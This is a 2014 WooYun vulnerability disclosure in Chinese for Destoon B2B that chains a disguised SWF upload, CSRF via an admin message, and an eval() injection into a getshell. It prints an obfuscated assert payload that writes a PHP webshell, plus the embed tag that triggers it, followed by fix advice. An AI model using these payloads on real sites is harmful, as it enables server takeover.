当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062435

漏洞标题:Destoon B2B 2014-05-21最新版csrf getshell

相关厂商:DESTOON

漏洞作者: 索马里的海贼

提交时间:2014-05-27 10:22

修复时间:2014-08-25 10:24

公开时间:2014-08-25 10:24

漏洞类型:文件上传导致任意代码执行

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-27: 细节已通知厂商并且等待厂商处理中
2014-05-29: 厂商已经确认,细节仅向厂商公开
2014-06-01: 细节向第三方安全合作伙伴开放
2014-07-23: 细节向核心白帽子及相关领域专家公开
2014-08-02: 细节向普通白帽子公开
2014-08-12: 细节向实习白帽子公开
2014-08-25: 细节向公众公开

简要描述:

上传问题+csrf+后台任意命令执行 = csrf getshell

详细说明:

先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。
可以通过上传一个.jpg后缀的swf来进行csrf
然后是后台命令执行
/member/admin/sendmail.inc.php 行151

default:
if(isset($send)) {
if(isset($preview) && $preview) {
$content = stripslashes($content);
if($template) {
if($sendtype == 2) {
$emails = explode("\n", $emails);
$email = trim($emails[0]);
} else if($sendtype == 3) {
$emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail));
$email = trim($emails[0]);
}
$user = _userinfo($fields, $email);
eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行
$content = ob_template($template, 'mail');
}
echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>';
echo '<strong>邮件正文:</strong><br/><br/>';
echo $content;
exit;
}


漏洞证明:

首先把请求抓出来 精简参数 得到命令执行的最简参数如下

moduleid=2
file=sendmail
send=1
preview=1
template=1
title='执行点'


由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下

{${assert(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(92).chr(39).chr(120).chr(92).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41).@chr(59))}}


下面来制作一个csrf的swf

3.jpg


注册一个普通用户 登录会员中心
http://192.168.1.104/member/message.php?rand=93&action=send
给admin发送一个站内信,内容为

<embed src="http://192.168.1.104/file/upload/201405/26/22-00-20-27-3.jpg" allowScriptAccess="always" type="application/x-shockwave-flash"></embed>


4.jpg


管理员登录后台首页会提示有新的站内信(太体贴了)

5.jpg


打开站内信即在web根目录生成1.php一句话 密码x

7.jpg


修复方案:

1、命令执行 非必要别用双引号
2、csrf 后台操作需要加token验referer
3、上传文件不光要检查后缀,文件内容也要查。

版权声明:转载请注明来源 索马里的海贼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-05-29 11:01

厂商回复:

感谢反馈 我们会尽快修复

最新状态:

暂无